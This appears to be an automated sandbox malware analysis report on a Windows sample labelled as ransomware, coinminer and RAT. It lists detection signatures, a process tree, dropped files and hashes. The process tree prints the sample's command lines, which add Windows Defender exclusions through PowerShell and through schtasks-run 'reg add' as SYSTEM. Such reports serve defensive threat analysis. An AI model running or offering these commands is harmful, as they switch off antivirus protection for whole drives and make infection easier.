Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 22:29

General

  • Target
    2026-09-25_97dfad01eb1706887a68a9605b7d5808_akira_coinminer_dosia_glassworm_quasar-rat.exe
  • Size 30.3MB
  • Sample260925-2edbaa1tft
  • SHA256 fef2f09caaa26a3da907c5b806e33889701f5c56e06b8e1bd30978d47f3a97f5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-25_97dfad01eb1706887a68a9605b7d5808_akira_coinminer_dosia_glassworm_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-25_97dfad01eb1706887a68a9605b7d5808_akira_coinminer_dosia_glassworm_quasar-rat.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:6076
  • C:\Users\Public\37YY7l\0XHXoI.exe
    "C:\Users\Public\37YY7l\0XHXoI.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      PID:1128
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\37YY7l\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3188
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\37YY7l\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1564
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2660
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4616
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4924
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3324
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:6136
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4628
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3424
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1804
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4884
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4132
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4420
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:676
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2860
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2520
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3584
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5328
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1868
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5792
                      • C:\Users\Public\37YY7l\0XHXoI.exe
                        "C:\Users\Public\37YY7l\0XHXoI.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2548
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\37YY7l" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3976
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\37YY7l" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3856
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2000
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2484
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6012
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4892
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5216
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3716
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3604
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4496
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4776

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 9a0fe5d27255c7f6fa9f8ed85db9bc74942c528afdcd2d2b2b69371c7265825f
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 c1d603808216cef4d23d5d18bb472d8a71dd59529f5fd03fddcdb8427a24cfde
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 be847fc12931d9114308cbf49dde643fb9b85560dc694c7a203caa7b2ff18656
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 1a7a1550a975d49099f7ccafbb1a87a13220ae0285dd34f4b20b5d96f398d079
                              • MD5 SHA1 SHA512 TLSH

                              0XHXoI.exe

                              • Path C:\Users\Public\37YY7l\0XHXoI.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\37YY7l\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c92d5cf78ed977101b8e9382a9dd78f32eadbb69166c8695a9c5ca43c6985bc3
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\37YY7l\adoresd.dat
                              • Size 4.7MB
                              • SHA256 a8bda2225ebc8993990a0b4f58e1ec03a93d6b05d3cf912d722a71183b1a4b73
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\37YY7l\msadox.tb
                              • Size 8KB
                              • SHA256 e3ada810ce5be72727bbfaaafd5639e570dd10e3956f7874be87a2f8b2cb8a00
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1128-604-0x0000020461A10000-0x0000020461AC2000-memory.dmp

                              memory/1128-600-0x0000020461770000-0x0000020461792000-memory.dmp

                              memory/1128-603-0x00000204617A0000-0x00000204617BE000-memory.dmp

                              memory/1128-605-0x00000204617C0000-0x00000204617CA000-memory.dmp

                              memory/2548-584-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/2548-588-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/2548-589-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/2548-590-0x00007FFC74C70000-0x00007FFC74C72000-memory.dmp

                              memory/2548-585-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/2548-581-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/2548-571-0x00007FFC52A10000-0x00007FFC52F2E000-memory.dmp

                              memory/2548-579-0x00007FFC74C80000-0x00007FFC74C82000-memory.dmp

                              memory/2548-574-0x0000021164C90000-0x0000021165517000-memory.dmp

                              memory/4900-535-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-544-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-555-0x0000026D719E0000-0x0000026D71A2E000-memory.dmp

                              memory/4900-562-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-564-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-565-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-557-0x0000026D72D10000-0x0000026D72D9A000-memory.dmp

                              memory/4900-560-0x0000026D72D10000-0x0000026D72D9A000-memory.dmp

                              memory/4900-558-0x0000026D72D10000-0x0000026D72D9A000-memory.dmp

                              memory/4900-549-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-545-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-556-0x0000026D72D10000-0x0000026D72D9A000-memory.dmp

                              memory/4900-543-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-542-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-538-0x0000026D72480000-0x0000026D72D07000-memory.dmp

                              memory/4900-537-0x00007FFC74C80000-0x00007FFC74C82000-memory.dmp

                              memory/4900-529-0x00007FFC74C70000-0x00007FFC74C72000-memory.dmp

                              memory/4900-530-0x00007FFC52A10000-0x00007FFC52F2E000-memory.dmp

                              memory/6076-0-0x0000000002400000-0x000000000240E000-memory.dmp

                              memory/6076-524-0x00007FFC6C390000-0x00007FFC6C3A2000-memory.dmp

                              memory/6076-523-0x0000000002400000-0x000000000240E000-memory.dmp

                              memory/6076-503-0x00007FFC6C390000-0x00007FFC6C3A2000-memory.dmp

                              memory/6076-1-0x0000000002420000-0x000000000242C000-memory.dmp